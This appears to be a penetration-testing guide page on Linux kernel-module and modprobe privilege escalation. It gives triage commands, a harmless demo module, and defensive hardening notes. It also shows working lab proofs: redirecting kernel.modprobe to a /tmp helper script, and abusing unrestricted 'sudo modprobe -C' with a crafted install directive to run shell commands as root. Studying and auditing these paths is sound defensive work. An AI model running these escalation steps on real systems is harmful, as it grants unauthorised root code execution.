// HackTricks · Linux

Kernel Modules and modprobe Abuse

Kernel Modules and modprobe Abuse

Kernel module and module-loading misconfigurations

Kernel module support is a high-impact area during Linux privilege escalation review. Do not treat every unsigned-module message as exploitable by itself, but use it to answer practical questions.[1][2][3][8][9][10]

  • Can the current user load modules through sudo, capabilities, or a writable helper path?
  • Is module loading still enabled?
  • Is module signature enforcement disabled?
  • Are module directories, module files, or modprobe.d configuration paths writable?[16]
  • Can kernel logs be read to confirm what happened?

Quick triage starts with the following module-status, signature, logging, and module-tree checks.[1][2][6][8]

uname -a
uname -r
cat /proc/sys/kernel/modules_disabled 2>/dev/null
grep -Eo '(^| )module\.sig_enforce(=[^ ]*)?' /proc/cmdline 2>/dev/null
grep -E '^(CONFIG_STATIC_USERMODEHELPER|CONFIG_STATIC_USERMODEHELPER_PATH)=' "/boot/config-$(uname -r)" 2>/dev/null
grep -E '^(CONFIG_MODULE_SIG|CONFIG_MODULE_SIG_FORCE)=' "/boot/config-$(uname -r)" 2>/dev/null
cat /proc/sys/kernel/dmesg_restrict 2>/dev/null
dmesg 2>/dev/null | grep -Ei 'module|signature|taint|verification'
find /lib/modules/$(uname -r) -type d -writable -ls 2>/dev/null
find /lib/modules/$(uname -r) -type f -name '*.ko*' -writable -ls 2>/dev/null

Interpretation:

  • modules_disabled=1 means modules can be neither loaded nor unloaded, and the value cannot be reset to 0 until reboot.[1]
  • module.sig_enforce=1 on the kernel command line or CONFIG_MODULE_SIG_FORCE=y requires validly signed modules; otherwise, unsigned modules may load and taint the kernel.[2]
  • dmesg_restrict=0 imposes no restriction on dmesg; when it is 1, access requires CAP_SYSLOG.[1]
  • Writable paths under /lib/modules/$(uname -r)/ are dangerous because modprobe searches that tree and its dependency data when loading modules.[8]

Loading a module and reading kernel output

If you have legitimate permission to load a local module, insmod inserts the exact .ko file you provide. The module’s init function runs as part of the load, and messages written with printk() go to the kernel log buffer, which is normally read with dmesg.[3][4][5][6]

A minimal review workflow uses modinfo to inspect metadata, insmod and rmmod to load and remove a module, lsmod to confirm loaded state, and dmesg to inspect kernel logs.[4][6][12][13][14]

ls -l ./example.ko
modinfo ./example.ko 2>/dev/null
sudo insmod ./example.ko
lsmod | grep -i example
dmesg | tail -n 30
sudo rmmod example
dmesg | tail -n 30

If sudo -l allows insmod, modprobe, or a wrapper around them, treat it as critical: sudo -l lists the invoking user’s privileges, and loading a kernel module requires CAP_SYS_MODULE. See Linux capabilities for direct capability-based paths.[3][9][10]

sudo -l
sudo /sbin/insmod ./example.ko

Sudo-allowed insmod

A sudo rule that allows a user to run insmod is not comparable to allowing a normal administrative helper. The module’s initialization code runs as part of insertion, so the practical review question is whether this user can choose or modify the module being loaded.[3]

The following generic review flow repeats those inspection, load, state, log, and removal checks for a candidate module.[4][6][12][13][14]

sudo -l
ls -l ./candidate.ko
modinfo ./candidate.ko 2>/dev/null
sudo /sbin/insmod ./candidate.ko
lsmod | grep -i candidate
dmesg | tail -n 30
sudo /sbin/rmmod candidate

If the user can provide an arbitrary .ko, the rule should be treated as full system compromise in an authorized assessment. A safer operational pattern is to avoid delegating module loading through sudo; if it is unavoidable, restrict the exact path, ownership, permissions, signing policy, and removal workflow.[3][10]

For a harmless module-building pattern in a controlled lab, a minimal source and Makefile are shown below; the make -C /lib/modules/$(uname -r)/build M=$PWD form follows the kernel’s documented kbuild workflow for external modules.[5][7]

#include <linux/module.h>
#include <linux/kernel.h>

static int __init demo_init(void) {
    printk(KERN_INFO "demo module loaded\n");
    return 0;
}

static void __exit demo_exit(void) {
    printk(KERN_INFO "demo module unloaded\n");
}

module_init(demo_init);
module_exit(demo_exit);
MODULE_LICENSE("GPL");
obj-m += demo.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Build and load only in an authorized lab; kbuild builds the external module and the load/remove commands invoke the kernel module interfaces.[3][4][5][7]

make
sudo insmod demo.ko
dmesg | tail -n 20
sudo rmmod demo

kernel.modprobe / modprobe_path abuse checks

kernel.modprobe names the userspace helper the kernel executes for module autoload requests; this sysctl affects autoloading, not explicit module insertion. If an attacker can change it to a writable executable path and trigger a module request, that helper becomes a privileged code-execution path. Setting it to the empty string disables autoload requests; if CONFIG_STATIC_USERMODEHELPER=y, a non-empty value is overridden by the compiled-in static helper path.[1]

Check the current helper path through the kernel sysctl interface and inspect the target’s ownership and mode.[1]

cat /proc/sys/kernel/modprobe 2>/dev/null
sysctl kernel.modprobe 2>/dev/null
ls -l "$(cat /proc/sys/kernel/modprobe 2>/dev/null)" 2>/dev/null

Check whether the sysctl, delegated sudo rules, or file capabilities can be influenced.[1][9][10][15]

ls -l /proc/sys/kernel/modprobe
sudo -l | grep -E 'sysctl|tee|bash|sh|modprobe'
getcap -r / 2>/dev/null | grep -E 'cap_sys_admin|cap_sys_module'

The following lab-only pattern changes the helper path and triggers a documented module-autoload request; use it only on an isolated, authorized system.[1]

On current Linux kernels, do not use an unknown executable as a generic trigger: legacy custom binary-format module autoloading was removed in Linux 6.14, while the kernel documentation identifies an unknown filesystem type as a module-autoload request path.[1][11]

# Example only: requires permission to write kernel.modprobe
printf '#!/bin/sh\nid > /tmp/modprobe-helper-ran\n' > /tmp/helper
chmod +x /tmp/helper
echo /tmp/helper | sudo tee /proc/sys/kernel/modprobe

# Trigger a documented module-autoload request (requires mount privilege)
sudo mount -t definitely-not-a-filesystem none /mnt 2>/dev/null || true
cat /tmp/modprobe-helper-ran 2>/dev/null

On hardened systems, this should fail when permissions prevent unprivileged writes to kernel.modprobe, the helper path is not writable, or module autoloading is disabled.[1]

Writable modprobe.d configuration and sudo modprobe -C

Before resolving a module, modprobe reads .conf files from configuration directories such as /etc/modprobe.d, /run/modprobe.d, /usr/local/lib/modprobe.d, /usr/lib/modprobe.d, and /lib/modprobe.d, in precedence order. A same-named file in a higher-priority directory shadows the lower-priority file. More importantly, an install <module> <command> directive runs an arbitrary shell command instead of inserting that module. Therefore, a writable configuration path can become delayed command execution under the credentials of a later privileged modprobe caller; kernel module signature enforcement does not authenticate this userspace command.[16]

Audit directory and file permissions, then inspect the effective configuration. modprobe -n -v is safe for resolution review because dry-run mode neither inserts the module nor executes an install/remove command. Prefer modprobe -c over the legacy --showconfig spelling, which current kmod documentation marks for removal after kmod 36.[8][16]

for d in /etc/modprobe.d /run/modprobe.d /usr/local/lib/modprobe.d /usr/lib/modprobe.d /lib/modprobe.d; do
    [ -e "$d" ] || continue
    find "$d" -maxdepth 1 -writable -ls 2>/dev/null
done

grep -RHE '^[[:space:]]*(install|remove|alias|blacklist)[[:space:]]' \
  /etc/modprobe.d /run/modprobe.d /usr/local/lib/modprobe.d \
  /usr/lib/modprobe.d /lib/modprobe.d 2>/dev/null
modprobe -c 2>/dev/null | grep -E '^(install|remove|alias|blacklist)[[:space:]]'
modprobe -n -v <module_name>

An unrestricted sudo rule for modprobe is exploitable even when arbitrary .ko files cannot pass signature verification: -C selects an attacker-controlled configuration directory, from which an install command can be executed by the sudo-launched process.[8][16]

# Authorized lab proof for an unrestricted `sudo modprobe` rule
D="$(mktemp -d)"
printf '%s\n' 'install ht_probe /bin/sh -c "id > /tmp/ht-modprobe-id"' > "$D/00-ht.conf"
sudo /sbin/modprobe -C "$D" ht_probe
cat /tmp/ht-modprobe-id

For mitigation, do not grant argument-unrestricted modprobe through sudo, keep every configuration directory root-owned and non-writable, and review unexpected install/remove directives. When a trusted administrative workflow must bypass such directives for one module, modprobe --ignore-install ignores them for that named module, but dependencies can still have their own commands.[8][16]

Writable /lib/modules review

Writable module directories can allow module replacement, malicious module planting, or auto-load abuse depending on how modprobe is later invoked; modprobe searches /lib/modules/$(uname -r) and uses its dependency data when resolving modules.[8]

Review writable module files and dependency/alias metadata under the active kernel release’s module tree.[8]

KREL="$(uname -r)"
find "/lib/modules/$KREL" -type d -writable -ls 2>/dev/null
find "/lib/modules/$KREL" -type f -name '*.ko*' -writable -ls 2>/dev/null
find "/lib/modules/$KREL" -type f \( -name 'modules.dep' -o -name 'modules.alias' -o -name 'modules.order' \) -writable -ls 2>/dev/null

If you find writable module content, inspect how modprobe resolves dependencies and how modinfo reports module metadata.[8][12]

modprobe --show-depends <module_name> 2>/dev/null
modinfo <module_name> 2>/dev/null
grep -R "<module_name>" /lib/modules/$(uname -r)/modules.* 2>/dev/null

Defensive notes:

  • Keep /lib/modules owned by root:root and non-writable by users.[8]
  • Set kernel.modules_disabled=1 after boot where operationally possible.[1]
  • Enforce module signing on systems that require loadable modules.[2]
  • Monitor writes to /proc/sys/kernel/modprobe, /lib/modules, and the modprobe.d configuration directories, plus unexpected insmod/modprobe execution.[1][8][16]

References